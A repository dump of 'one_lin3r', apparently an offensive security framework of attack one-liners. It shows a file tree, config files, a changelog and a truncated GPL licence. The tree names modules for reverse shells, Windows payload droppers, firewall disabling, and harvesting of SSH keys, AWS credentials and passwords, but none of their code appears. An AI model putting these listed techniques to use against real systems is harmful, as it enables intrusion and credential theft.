├── .gitattributes
├── .github
└── FUNDING.yml
├── .gitignore
├── CHANGELOG.md
├── LICENSE
├── MANIFEST.in
├── README.md
├── one_lin3r
├── __init__.py
├── core
│ ├── Cli.py
│ ├── __init__.py
│ ├── color.py
│ ├── db.py
│ ├── liners
│ │ ├── __init__.py
│ │ ├── example
│ │ ├── linux
│ │ │ ├── __init__.py
│ │ │ ├── awk
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ └── reverse_udp.py
│ │ │ ├── bash
│ │ │ │ ├── __init__.py
│ │ │ │ ├── exploit_docker_bash_container.py
│ │ │ │ ├── exploit_writeable_sudoers.py
│ │ │ │ ├── find_suid.py
│ │ │ │ ├── get_apache_site_enabled.py
│ │ │ │ ├── get_aws_security_credentials.py
│ │ │ │ ├── get_bash_history_for_all_user.py
│ │ │ │ ├── get_last_edited_files.py
│ │ │ │ ├── get_ssh_private_keys_for_all_users.py
│ │ │ │ ├── list_all_capabilities.py
│ │ │ │ ├── list_cronjobs_for_all_users.py
│ │ │ │ ├── list_cronjobs_for_another_user.py
│ │ │ │ ├── list_cronjobs_for_current_user.py
│ │ │ │ ├── list_systemd_timers.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ ├── reverse_tcp_exec.py
│ │ │ │ ├── search_for_password_in_memory.py
│ │ │ │ ├── search_for_password_using_find.py
│ │ │ │ ├── search_for_password_using_grep.py
│ │ │ │ └── search_for_writeable_folders_files.py
│ │ │ ├── go
│ │ │ │ ├── __init__.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── java
│ │ │ │ ├── __init__.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── lua
│ │ │ │ ├── __init__.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ └── reverse_tcp_bash.py
│ │ │ ├── nc
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── bind_tcp_mkfifo.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ ├── reverse_tcp_mkfifo.py
│ │ │ │ ├── reverse_tcp_mknod.py
│ │ │ │ └── reverse_udp.py
│ │ │ ├── ncat
│ │ │ │ ├── __init__.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ ├── reverse_tcp_ssl.py
│ │ │ │ └── reverse_udp.py
│ │ │ ├── nodejs
│ │ │ │ ├── __init__.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── openssl
│ │ │ │ ├── __init__.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── perl
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ ├── reverse_tcp_miosocket.py
│ │ │ │ └── reverse_udp_miosocket.py
│ │ │ ├── php
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── python
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ ├── http_server.py
│ │ │ │ ├── reverse_tcp.py
│ │ │ │ ├── reverse_tcp_interactive.py
│ │ │ │ └── reverse_udp.py
│ │ │ ├── ruby
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_tcp.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── socat
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ └── reverse_tcp.py
│ │ │ ├── tclsh
│ │ │ │ ├── __init__.py
│ │ │ │ └── reverse_tcp.py
│ │ │ └── telnet
│ │ │ │ ├── __init__.py
│ │ │ │ ├── reverse_tcp_mkfifo.py
│ │ │ │ └── reverse_tcp_mknod.py
│ │ ├── multi
│ │ │ ├── __init__.py
│ │ │ ├── msfvenom
│ │ │ │ ├── __init__.py
│ │ │ │ ├── java_jsp_reverse_shell.py
│ │ │ │ ├── java_war_reverse_shell.py
│ │ │ │ ├── linux_elf_reverse_meterpreter.py
│ │ │ │ ├── osx_macho_reverse_shell.py
│ │ │ │ ├── php_reverse_meterpreter.py
│ │ │ │ ├── unix_bash_reverse_shell.py
│ │ │ │ ├── unix_perl_reverse_shell.py
│ │ │ │ ├── unix_python_reverse_shell.py
│ │ │ │ ├── windows_asp_reverse_meterpreter.py
│ │ │ │ └── windows_exe_reverse_meterpreter.py
│ │ │ └── nmap
│ │ │ │ ├── __init__.py
│ │ │ │ ├── common_malware_scan.py
│ │ │ │ ├── ftp_bruteforce.py
│ │ │ │ ├── full_vulnerability_scan.py
│ │ │ │ ├── google_malware_check.py
│ │ │ │ ├── http_enumerate.py
│ │ │ │ └── slowloris_attack.py
│ │ ├── openbsd
│ │ │ ├── __init__.py
│ │ │ ├── bash
│ │ │ │ ├── __init__.py
│ │ │ │ └── read_doas_config.py
│ │ │ └── nc
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bind_udp.py
│ │ │ │ └── reverse_tcp.py
│ │ └── windows
│ │ │ ├── __init__.py
│ │ │ ├── cmd
│ │ │ ├── __init__.py
│ │ │ ├── bat_dropper.py
│ │ │ ├── disable_firewall_netsh.py
│ │ │ ├── dll_dropper_certutil_base64.py
│ │ │ ├── dll_dropper_regasm.py
│ │ │ ├── dll_dropper_rundll32.py
│ │ │ ├── dll_loader_control_panel.py
│ │ │ ├── dll_loader_word.py
│ │ │ ├── exe_dropper_bitsadmin.py
│ │ │ ├── exe_dropper_certutil.py
│ │ │ ├── execute_c#_files.py
│ │ │ ├── execute_over_forfiles.py
│ │ │ ├── get_architecture.py
│ │ │ ├── get_saved_wifi_aps_ssid.py
│ │ │ ├── get_saved_wifi_passwords.py
│ │ │ ├── get_snmp_config.py
│ │ │ ├── get_systeminfo.py
│ │ │ ├── hta_dropper_mshta.py
│ │ │ ├── list_arp_tables.py
│ │ │ ├── list_current_connections.py
│ │ │ ├── list_drives.py
│ │ │ ├── list_installed_updates.py
│ │ │ ├── list_localgroups.py
│ │ │ ├── list_logon_requirements.py
│ │ │ ├── list_network_interfaces.py
│ │ │ ├── list_network_shares.py
│ │ │ ├── list_processes_running_as_system.py
│ │ │ ├── list_routing_tables.py
│ │ │ ├── list_running_processes.py
│ │ │ ├── list_scheduled_tasks.py
│ │ │ ├── list_startup_folder_allusers.py
│ │ │ ├── list_startup_folder_currentuser.py
│ │ │ ├── list_startup_tasks_with_wmic.py
│ │ │ ├── list_unqouted_services.py
│ │ │ ├── list_user_privileges.py
│ │ │ ├── list_users.py
│ │ │ ├── msi_dropper_wininstaller.py
│ │ │ ├── msi_quiet_installer.py
│ │ │ ├── read_firewall_config.py
│ │ │ ├── read_registry_always_install_elevated_key_cu.py
│ │ │ ├── read_registry_always_install_elevated_key_lm.py
│ │ │ ├── read_registry_putty_sessions.py
│ │ │ ├── read_registry_r_key.py
│ │ │ ├── read_registry_run_key.py
│ │ │ ├── read_registry_runonce_key.py
│ │ │ ├── read_registry_snmp_key.py
│ │ │ ├── read_registry_vnc_passwords.py
│ │ │ ├── read_registry_winlogon_key.py
│ │ │ ├── read_services_with_tasklist.py
│ │ │ ├── read_services_with_wmic.py
│ │ │ ├── runas_with_creds.py
│ │ │ ├── sct_dropper_mshta.py
│ │ │ ├── sct_dropper_regsvr32.py
│ │ │ ├── sct_dropper_rundll32.py
│ │ │ ├── search_for_passwords.py
│ │ │ ├── search_registry_for_passwords_cu.py
│ │ │ ├── search_registry_for_passwords_lm.py
│ │ │ ├── win_remote_management.py
│ │ │ └── xsl_dropper_wmic.py
│ │ │ ├── groovysh
│ │ │ ├── __init__.py
│ │ │ └── reverse_tcp.py
│ │ │ ├── lua
│ │ │ ├── __init__.py
│ │ │ └── reverse_tcp.py
│ │ │ ├── nc
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ └── reverse_tcp.py
│ │ │ ├── perl
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ ├── bind_udp.py
│ │ │ └── reverse_tcp.py
│ │ │ ├── php
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ └── bind_udp.py
│ │ │ ├── powershell
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ ├── get_iis_config.py
│ │ │ ├── get_passwords_from_memory_using_mimikatz.py
│ │ │ ├── get_saved_wifi_passwords.py
│ │ │ ├── list_arp_tables.py
│ │ │ ├── list_installed_programs_using_folders.py
│ │ │ ├── list_installed_programs_using_registry.py
│ │ │ ├── list_network_interfaces.py
│ │ │ ├── list_routing_tables.py
│ │ │ ├── list_running_processes.py
│ │ │ ├── list_scheduled_tasks.py
│ │ │ ├── list_unqouted_services.py
│ │ │ ├── meterpreter_shell.py
│ │ │ ├── ps1_dropper.py
│ │ │ ├── ps1_dropper_microsoft_syncappv.py
│ │ │ ├── ps1_dropper_rundll32.py
│ │ │ ├── reverse_tcp.py
│ │ │ ├── reverse_tcp_string.py
│ │ │ ├── setup_keylogger_powersploit.py
│ │ │ ├── setup_powerup_powertools.py
│ │ │ └── setup_session_gopher.py
│ │ │ ├── python
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ ├── bind_udp.py
│ │ │ ├── reverse_tcp.py
│ │ │ └── reverse_tcp_threaded.py
│ │ │ ├── ruby
│ │ │ ├── __init__.py
│ │ │ ├── bind_tcp.py
│ │ │ ├── bind_udp.py
│ │ │ └── reverse_tcp.py
│ │ │ ├── scan
│ │ │ ├── __init__.py
│ │ │ ├── check_eternal_blue.py
│ │ │ └── check_netapi.py
│ │ │ └── wsl
│ │ │ ├── __init__.py
│ │ │ └── runas_with_creds.py
│ ├── resources
│ │ ├── banner.txt
│ │ └── version.txt
│ └── utils.py
└── main.py
├── screenshots
├── 1.png
├── 2.png
├── 3.png
└── 4.png
└── setup.py
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | github: D4Vinci
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 |
27 | # PyInstaller
28 | # Usually these files are written by a python script from a template
29 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
30 | *.manifest
31 | *.spec
32 |
33 | # Installer logs
34 | pip-log.txt
35 | pip-delete-this-directory.txt
36 |
37 | # Unit test / coverage reports
38 | htmlcov/
39 | .tox/
40 | .coverage
41 | .coverage.*
42 | .cache
43 | nosetests.xml
44 | coverage.xml
45 | *.cover
46 | .hypothesis/
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 | local_settings.py
55 |
56 | # Flask stuff:
57 | instance/
58 | .webassets-cache
59 |
60 | # Scrapy stuff:
61 | .scrapy
62 |
63 | # Sphinx documentation
64 | docs/_build/
65 |
66 | # PyBuilder
67 | target/
68 |
69 | # Jupyter Notebook
70 | .ipynb_checkpoints
71 |
72 | # pyenv
73 | .python-version
74 |
75 | # celery beat schedule file
76 | celerybeat-schedule
77 |
78 | # SageMath parsed files
79 | *.sage.py
80 |
81 | # Environments
82 | .env
83 | .venv
84 | env/
85 | venv/
86 | ENV/
87 |
88 | # Spyder project settings
89 | .spyderproject
90 | .spyproject
91 |
92 | # Rope project settings
93 | .ropeproject
94 |
95 | # mkdocs documentation
96 | /site
97 |
98 | # mypy
99 | .mypy_cache/
100 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | ## 2.1
2 | - Fixed the Unicode conflict in windows.
3 | - Fixed the modules path problem in windows that was causing the **ModuleNotFound** error.
4 | - Fixed check for update feature.
5 | - Added new options to search command, now search is more accurate and deep.
6 | - Added more information about how to install the framework more easily.
7 | - Added 21 new liners to become the total number of liners now is 176 liner.
8 |
9 | ## 2.0
10 | - A full rewrite of the framework with a lot of improvements. If you have older version, please update.
11 | - Added 125 new liners.
12 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
